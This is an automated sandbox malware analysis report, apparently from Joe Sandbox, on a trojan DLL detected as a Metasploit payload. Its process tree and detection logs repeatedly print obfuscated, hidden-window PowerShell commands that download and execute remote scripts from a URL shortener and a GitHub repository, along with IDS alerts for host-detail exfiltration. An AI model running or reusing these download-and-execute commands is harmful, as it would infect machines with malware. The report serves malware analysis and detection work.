Edit tour

Windows Analysis Report
SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll

Overview

General Information

Sample name:	SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll renamed because original name is a hash value
Original sample name:	SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.exe
Analysis ID:	1512072
MD5:	7cbb8ae0a5e5b3bd87898868e18985b2
SHA1:	3240320706483f3801a745c1548a74242a085296
SHA256:	bc4fadea8a16038ea0547023bfb4618cf4195c2221ecd7a928a21a45233d9cb8
Tags:	exe
Infos:

Detection

Metasploit

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected MetasploitPayload

AI detected suspicious sample

Connects to a pastebin service (likely for C&C)

Obfuscated command line found

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Potentially Suspicious Child Process Of Regsvr32

Sigma detected: PowerShell Download and Execution Cradles

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Connects to a URL shortener service

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Registers a DLL

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

loaddll64.exe (PID: 7268 cmdline: loaddll64.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll" MD5: 763455F9DCB24DFEECC2B9D9F8D46D52)

conhost.exe (PID: 7276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7320 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll",#1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

rundll32.exe (PID: 7344 cmdline: rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll",#1 MD5: EF3179D498793BF4234F708D3BE28633)

powershell.exe (PID: 7400 cmdline: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2676 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6120 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

csc.exe (PID: 8732 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ej40y3sl\ej40y3sl.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 8804 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5EE8.tmp" "c:\Users\user\AppData\Local\Temp\ej40y3sl\CSCC31C8219248740B7B5892F735789A26B.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

powershell.exe (PID: 2144 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

csc.exe (PID: 1872 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\4jzsybvo\4jzsybvo.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 5888 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5E23.tmp" "c:\Users\user\AppData\Local\Temp\4jzsybvo\CSC322DF87CD509445AB01BD8C0B6EFDFFF.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

regsvr32.exe (PID: 7328 cmdline: regsvr32.exe /s C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

powershell.exe (PID: 7384 cmdline: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7220 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

csc.exe (PID: 8740 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\oc0yukq2\oc0yukq2.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 8796 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5EF7.tmp" "c:\Users\user\AppData\Local\Temp\oc0yukq2\CSC4B0ED8321FD4439294DC7A78D177B3A7.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

powershell.exe (PID: 4500 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

csc.exe (PID: 1696 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vprxgw2h\vprxgw2h.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 5684 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES481A.tmp" "c:\Users\user\AppData\Local\Temp\vprxgw2h\CSCDBD4A03E654548E897E49139DD675E5.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

rundll32.exe (PID: 7352 cmdline: rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll,DllRegisterServer MD5: EF3179D498793BF4234F708D3BE28633)

powershell.exe (PID: 7392 cmdline: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6488 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

csc.exe (PID: 8716 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ps21mg5n\ps21mg5n.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 8788 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5EA9.tmp" "c:\Users\user\AppData\Local\Temp\ps21mg5n\CSC5DBDDEA583D47AC992FDED4A9FE5F6F.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

powershell.exe (PID: 7028 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

csc.exe (PID: 8828 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ajmbpkj3\ajmbpkj3.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 8852 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1BAC.tmp" "c:\Users\user\AppData\Local\Temp\ajmbpkj3\CSCE65DF8D061034580A252685BFDC82FC.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

powershell.exe (PID: 7796 cmdline: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 1208 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

csc.exe (PID: 8724 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ebaw0fq2\ebaw0fq2.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 8812 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5EE9.tmp" "c:\Users\user\AppData\Local\Temp\ebaw0fq2\CSCA5D62A791D6B45AE841FF60C5C2CAA0.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

powershell.exe (PID: 5000 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

csc.exe (PID: 8688 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\acg3vvmm\acg3vvmm.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 4364 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1BAB.tmp" "c:\Users\user\AppData\Local\Temp\acg3vvmm\CSC2FE6764BCAE044C8A4E5F334AE1DCA7B.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

cleanup

Yara Signatures

Other

Source	Rule	Description	Author
amsi64_2144.amsi.csv	JoeSecurity_MetasploitPayload_1	Yara detected MetasploitPayload	Joe Security
amsi64_4500.amsi.csv	JoeSecurity_MetasploitPayload_1	Yara detected MetasploitPayload	Joe Security
amsi64_5000.amsi.csv	JoeSecurity_MetasploitPayload_1	Yara detected MetasploitPayload	Joe Security
amsi64_7028.amsi.csv	JoeSecurity_MetasploitPayload_1	Yara detected MetasploitPayload	Joe Security

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious Child Process Of Regsvr32

Source: Process started

Author: elhoim, Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing), CommandLine: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing), CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: regsvr32.exe /s C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll, ParentImage: C:\Windows\System32\regsvr32.exe, ParentProcessId: 7328, ParentProcessName: regsvr32.exe, ProcessCommandLine: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing), ProcessId: 7384, ProcessName: powershell.exe

Sigma detected: PowerShell Download and Execution Cradles

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) , CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7400, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) , ProcessId: 2676, ProcessName: powershell.exe

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing), CommandLine: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing), CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: regsvr32.exe /s C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll, ParentImage: C:\Windows\System32\regsvr32.exe, ParentProcessId: 7328, ParentProcessName: regsvr32.exe, ProcessCommandLine: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing), ProcessId: 7384, ProcessName: powershell.exe

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ps21mg5n\ps21mg5n.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ps21mg5n\ps21mg5n.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) , ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6488, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ps21mg5n\ps21mg5n.cmdline", ProcessId: 8716, ProcessName: csc.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) , CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7400, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) , ProcessId: 2676, ProcessName: powershell.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 2676, TargetFilename: C:\Users\user\AppData\Local\Temp\ej40y3sl\ej40y3sl.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing), CommandLine: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing), CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: regsvr32.exe /s C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll, ParentImage: C:\Windows\System32\regsvr32.exe, ParentProcessId: 7328, ParentProcessName: regsvr32.exe, ProcessCommandLine: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing), ProcessId: 7384, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ps21mg5n\ps21mg5n.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ps21mg5n\ps21mg5n.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) , ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6488, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ps21mg5n\ps21mg5n.cmdline", ProcessId: 8716, ProcessName: csc.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-16T19:33:30.089749+0200	2803305	3	Unknown Traffic	192.168.2.4	49769	104.20.4.235	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-16T19:32:40.366146+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49732	104.17.112.233	80	TCP
2024-09-16T19:32:40.368042+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49730	104.17.112.233	80	TCP
2024-09-16T19:32:40.375474+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49731	104.17.112.233	80	TCP
2024-09-16T19:32:41.082305+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49736	104.17.112.233	80	TCP

ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-16T19:32:49.338682+0200	2857659	1	A Network Trojan was detected	192.168.2.4	49743	162.159.128.233	443	TCP
2024-09-16T19:32:49.352497+0200	2857659	1	A Network Trojan was detected	192.168.2.4	49744	162.159.128.233	443	TCP
2024-09-16T19:32:49.353189+0200	2857659	1	A Network Trojan was detected	192.168.2.4	49742	162.159.128.233	443	TCP
2024-09-16T19:32:49.611785+0200	2857659	1	A Network Trojan was detected	192.168.2.4	49745	162.159.128.233	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll

ReversingLabs: Detection: 26%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.128.233:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.128.233:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.128.233:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.128.233:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.4:49768 version: TLS 1.2

Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: CallSite.Target.pdb source: powershell.exe, 0000000C.00000002.2027438756.000002463FF42000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000007.00000002.2307369720.0000027CFCBAA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2029852639.000002463FFAA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 0000000C.00000002.2027438756.000002463FF42000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000006.00000002.2101507687.00000215D3F44000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: b.pdb_ source: powershell.exe, 00000007.00000002.2311503621.0000027CFCF25000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ement.Automation.pdb00CI source: powershell.exe, 00000008.00000002.2087824475.00000233182F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ment.Automationlib.pdb source: powershell.exe, 00000008.00000002.2087824475.00000233182F9000.00000004.00000020.00020000.00000000.sdmp
